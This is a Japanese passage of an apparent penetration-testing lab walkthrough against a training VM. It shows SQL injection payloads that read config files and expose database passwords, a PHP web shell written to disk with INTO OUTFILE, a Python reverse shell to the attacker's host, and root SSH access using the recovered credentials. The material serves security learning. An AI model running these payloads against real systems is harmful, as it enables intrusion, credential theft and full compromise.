|パス|/var/www/includes/config.inc.php|

```
email=' union select 1,2,3,load_file('/var/www/includes/config.inc.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_config_inc_php.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/25a5ab03-f4cc-e471-cabf-3418d5d37803.png">

新たに`mysqli_connect.php`ファイルの存在を特定することができました。先ほどと同様にファイルを取得し、内容を確認してみます。

|項目|内容|
|:---|:---|
|パス|/var/www/login.php|
|パス|/var/www/includes/config.inc.php|
|パス|/var/www/mysqli_connect.php|

```
email=' union select 1,2,3,load_file('/var/www/mysqli_connect.php'),5,6,7,8#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_mysqli_connect.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/afd09224-c3a9-bb27-aff4-78d25cb4ad84.png">

これにて、データベースのパスワードを取得することができました。

|項目|内容|
|:---|:---|
|DB_USER|root|
|DB_PASSWORD|goodday|
|DB_HOST|localhost|
|DB_NAME|ch16|

## アクセスの取得
###  ペイロードの作成
ブラウザから直接コマンドを発行できるようにするphpファイルのアップロードを試みます。`into outfile`オプションを使用し、`shell.php`という名前のファイルにコードを書き込みます。

```
email=' union select 1,2,3,"<?php system($_GET['cmd']);?>",5,6,7,8 into outfile '/var/www/shell.php'#&pass=password&submit=Login&submitted=TRUE
```

<img width="1075" alt="Burp_shell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/dd063856-a82b-c299-dff9-41e700bd1673.png">

仕掛けたシェルが動作することを確認します。次のURLにアクセスします。

```
http://10.10.10.100/shell.php?cmd=whoami;id;uname -a;which python
```

<img width="1075" alt="webshell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/42d65cd7-d5e3-9f46-f4f8-6014c18a56eb.png">

### リバースシェル
[pentestmonkey](http://pentestmonkey.net/) のワンライナー Python [リバースシェル](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)を仕掛けてみます。

攻撃端末側で`nc`コマンド構文を使用し、リバースシェルからの接続を待ち受けます。

```
root@kali:~# nc -lvp 4444 
listening on [any] 4444 ...
```

今回は、[pentestmonkey](http://pentestmonkey.net/)の[リバースシェルチートシート](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)からPython版を仕掛けてみましょう。

> python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻撃端末側の`nc`がアクティブな状態で、次のURLに接続します。

```
http://10.10.10.100/shell.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.10%22,4444));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
```

URLが実行されると、セッションが開始されます。
<img width="1073" alt="Python_shell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/23569cdd-04d1-31ac-5c7f-281c9d3a4308.png">

シェルを拡張します。

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/var/www$ 
```

`/var/www/mysqli_connect.php`にて取得した`root/goodday`アカウントにて、MySQLサーバへの接続を試行します。次のとおり、失敗しました。

```
www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: goodday

ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
```

`mysqli_connect.php`と同名ファイルが別の箇所存在している可能性について検証します。

```
www-data@web:/var/www$ find / -name "mysqli_connect.php" 2>/dev/null
find / -name "mysqli_connect.php" 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php
```

次のとおり、二カ所にファイルが存在していることが確認できました。

|項目|内容|
|パス|/var/www/mysqli_connect.php|
|パス|/var/mysqli_connect.php|

2つの`mysqli_connect.php`ファイルについて比較します。

```
www-data@web:/var/www$ diff /var/mysqli_connect.php /var/www/mysqli_connect.php
< /var/mysqli_connect.php /var/www/mysqli_connect.php                        
10c10
< DEFINE ('DB_PASSWORD', 'root@ISIntS');
---
> DEFINE ('DB_PASSWORD', 'goodday');
www-data@web:/var/www$ 
```

`root/goodday`のほかに、`root/root@ISIntS`アカウントが存在していることが確認できました。
このアカウントを使って、MySQLサーバへの接続を試行します。次のとおり、成功しました。

```
www-data@web:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: root@ISIntS

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 3290
Server version: 5.1.54-1ubuntu4 (Ubuntu)

Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
This software comes with ABSOLUTELY NO WARRANTY. This is free software,
and you are welcome to modify and redistribute it under the GPL v2 license

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> 
```

## 特権の引き上げ
`root/root@ISIntS`アカウントで`SSH`接続を試みます。root権限でのアクセスに成功しました。

```
root@kali:~# ssh root@10.10.10.100
The authenticity of host '10.10.10.100 (10.10.10.100)' can't be established.
ECDSA key fingerprint is SHA256:EWPtTr0Xn9NMudUhcD3+AMXSigXAGS4uldZp3grLm8w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.100' (ECDSA) to the list of known hosts.
root@10.10.10.100's password: 
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

 * Documentation:  http://www.ubuntu.com/server/doc

  System information as of Sat Oct 19 02:39:16 EDT 2019

  System load:  0.03              Processes:           73
  Usage of /:   2.9% of 38.64GB   Users logged in:     0
  Memory usage: 21%               IP address for eth0: 10.10.10.100
  Swap usage:   0%

  Graph this data and manage this system at https://landscape.canonical.com/
Last login: Mon May  9 19:29:03 2011
root@web:~# 
```

# まとめ
1. `nmap`コマンドを使って、22番、80番ポートがオープン状態であることを確認しました。
2. `wapiti`コマンドを使って、SQLインジェクションの脆弱性を抱えていることを確認しました。
3. `BurpSuite`を使って、手作業によるSQLインジェクション攻撃を仕掛けました。
4. SQLインジェクション攻撃（load_file()関数）により、Local File Inclusion（LFI）攻撃を仕掛けました。
5. SQLインジェクション攻撃（into outfile）により、ファイルのアップロードを試みました。
6. Pythonベースのリバースシェルを仕掛けました。